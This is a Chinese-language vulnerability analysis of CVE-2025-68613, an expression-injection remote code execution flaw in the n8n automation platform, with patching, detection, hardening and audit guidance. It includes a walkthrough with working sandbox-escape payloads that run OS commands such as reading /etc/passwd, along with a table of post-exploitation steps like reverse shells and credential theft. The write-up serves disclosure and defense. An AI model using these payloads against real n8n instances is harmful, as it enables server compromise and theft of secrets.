CVE-2025-68613 是 n8n 工作流自动化平台中的一个严重远程代码执行漏洞,允许经过身份验证的攻击者通过表达式注入执行任意系统命令。
⚡ 快速统计
|
🎯 关键事实
|
| 属性 | 值 |
|---|---|
| 🆔 CVE ID | CVE-2025-68613 |
| 📊 CVSS 评分 | 9.9(严重)🔴 |
| 🔗 CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913(对动态管理代码资源控制不当) |
| 📦 受影响版本 | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ 已修补版本 | 1.120.4, 1.121.1, 1.122.0+ |
n8n 是一个开源工作流自动化平台,支持与 400 多个应用进行无代码/低代码集成。广泛部署于以下场景:
| 🏢 使用场景 | 📝 描述 |
|---|---|
| 🔧 DevOps | 自动化流水线、CI/CD 集成 |
| 🛡️ 安全运维 | SOAR 工作流、应急响应 |
| 💼 业务 | 流程自动化、数据工作流 |
| 📊 数据 | ETL 流程、API 集成 |
🔓 漏洞链条:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n 表达式语言 → 动态数据处理 │
│ ↓ │
│ ⚠️ 服务端评估中沙箱隔离不足 │
│ ↓ │
│ 💀 恶意表达式绕过沙箱 │
│ ↓ │
│ 🖥️ 访问 Node.js 的 child_process 模块 │
│ ↓ │
│ 💥 完全远程代码执行 - 操作系统命令执行 │
└─────────────────────────────────────────────────────────────────┘
利用前提条件:
| # | 📋 条件 | 📝 详情 |
|---|---|---|
| 1️⃣ | 认证 | 有效的 n8n 用户账户(低权限即可) |
| 2️⃣ | 权限 | 创建工作流/编辑工作流的能力 |
| 3️⃣ | 网络访问 | 能够连接到 n8n 实例 |
| 🏷️ 属性 | 📊 值 | 🔥 风险 |
|---|---|---|
| 复杂度 | 低 (AC:L) | 🔴 高 |
| 用户交互 | 无需 | 🔴 高 |
| 范围 | 已变更 | 🔴 严重 |
graph TD
A[🔐 已认证用户] -->|创建| B[📝 新工作流]
B -->|注入| C[💀 恶意表达式]
C -->|触发| D[⚡ 表达式求值]
D -->|利用| E[🔓 沙箱绕过]
E -->|访问| F[🖥️ Node.js 运行时]
F -->|执行| G[💥 通过 child_process 执行 OS 命令]
G -->|实现| H[☠️ 完全服务器沦陷]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ 免责声明:以下内容仅用于教育目的。未经授权的利用是非法的。
初始访问易受攻击的 n8n 工作流自动化平台。
🔓 n8n 欢迎仪表盘 - 入口点
创建一个将包含恶意负载的新工作流。
📝 使用“添加第一步”创建新工作流
配置工作流触发器 - 手动触发器允许按需执行。
🎯 选择手动触发器以激活工作流
添加“编辑字段 (Set)”节点,该节点将包含恶意表达式。
🔧 添加“编辑字段 (Set)”节点用于注入有效负载
关键步骤 - 注入沙箱绕过表达式以实现远程代码执行。
💀 恶意表达式成功执行 'id' 命令!
// 🔴 恶意负载 (请勿非法使用)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
输出显示: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE 确认!
Code Injection GIF
⚠️ 警告:这些有效负载仅用于授权的安全测试。未经授权使用是非法的!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}
💀 读取 /etc/passwd - 展示完全文件系统访问!
| 🎯 有效负载 | 📋 预期输出 |
|---|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | 完整系统用户列表 (root, daemon, node, 等) |
env | 所有环境变量(包括密钥) |
ls -la / | 根文件系统列表 |
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 漏洞根因 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ n8n 表达式求值器**缺少**阻止函数表达式访问以下内容的消毒器: │
│ │
│ ❌ this.process → Node.js 进程对象 │
│ ❌ mainModule.require → 模块加载系统 │
│ ❌ child_process → OS 命令执行 │
│ │
│ 这导致可直接访问系统模块并执行任意代码! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
|
# 🛡️ 将 n8n 升级到已修补版本
npm install -g n8n@latest
# 或使用 Docker
docker pull n8n/n8n:1.122.0
| 阶段 | 🔥 操作 | 💀 影响 |
|---|---|---|
| 1️⃣ | 初始访问 | 认证到 n8n |
| 2️⃣ | 执行 | 提交恶意工作流 |
| 3️⃣ | 持久化 | 部署反弹 shell/后门 |
| 4️⃣ | C2 | 建立命令与控制 |
| 5️⃣ | 行动 | 数据外泄、横向移动 |
| 🎯 操作 | 💥 影响级别 |
|---|---|
| 🔑 凭证窃取 | 提取 API 密钥、OAuth 令牌、数据库密码 |
| 📤 数据外泄 | 工作流数据、执行日志、业务信息 |
| 🔒 持久化 | cron 任务、启动脚本、Web shell |
| 🔀 横向移动 | 跳转到数据库、CI/CD、云基础设施 |
| 🗑️ 工作流篡改 | 修改/破坏自动化逻辑 |
🔴 机密性 (高)
|
🟠 完整性 (高)
|
🟡 可用性 (高)
|
| # | 📋 方法 | 🔍 监控内容 |
|---|---|---|
| 📜 | 日志分析 | n8n 进程中的异常命令、失败的表达式 |
| 🌐 | 网络 | 指向未知 IP 的出站连接、大型 POST 请求 |
| ⚡ | 运行时 | child_process 调用、意外的 spawn 操作 |
| 📦 | 版本审计 | 检查是否处于受影响版本范围 |
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n 版本审计
echo "🔍 正在检查 n8n 版本..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ 存在漏洞:n8n $VER 受到 CVE-2025-68613 影响"
echo "📦 需要:升级到 1.120.4、1.121.1 或 1.122.0+"
exit 2
else
echo "✅ 安全:n8n $VER 已修补"
fi
else
echo "❌ 在 PATH 中未找到 n8n"
fi
| 🔢 优先级 | 🛠️ 行动 | 📝 详情 |
|---|---|---|
| 🔴 P0 | 立即修补 | 升级到 1.120.4、1.121.1 或 1.122.0+ |
| 🟠 P1 | 限制访问 | 限制工作流创建仅限于受信任用户 |
| 🟡 P2 | 容器加固 | 使用安全限制部署 |
# 🛡️ 加固的 n8n 部署
FROM n8n/n8n:1.122.0
# 👤 以非 root 用户运行
USER node
# 🔒 应用以下运行时标志:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ 措施 | 📝 实现 |
|---|---|
| 🌐 网络分段 | 隔离 n8n 实例 |
| 🔥 WAF 规则 | 监控表达式模式 |
| 📜 审计日志 | 启用全面日志记录 |
| 🔍 安全审查 | 定期评估工作流 |
| 🔓 最小权限 | 实施访问控制 |
您将如何设计一个检测规则,以便在执行前识别 n8n 工作流定义中的表达式注入尝试,同时兼顾安全性与合法动态表达式使用的平衡?
奖励题: 如果尽管打了补丁,沙箱绕过仍然发生,您将实施哪些运行时保护来限制爆炸半径?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ 免责声明: 本分析仅用于教育和防御性安全目的。
未经授权利用漏洞是非法的。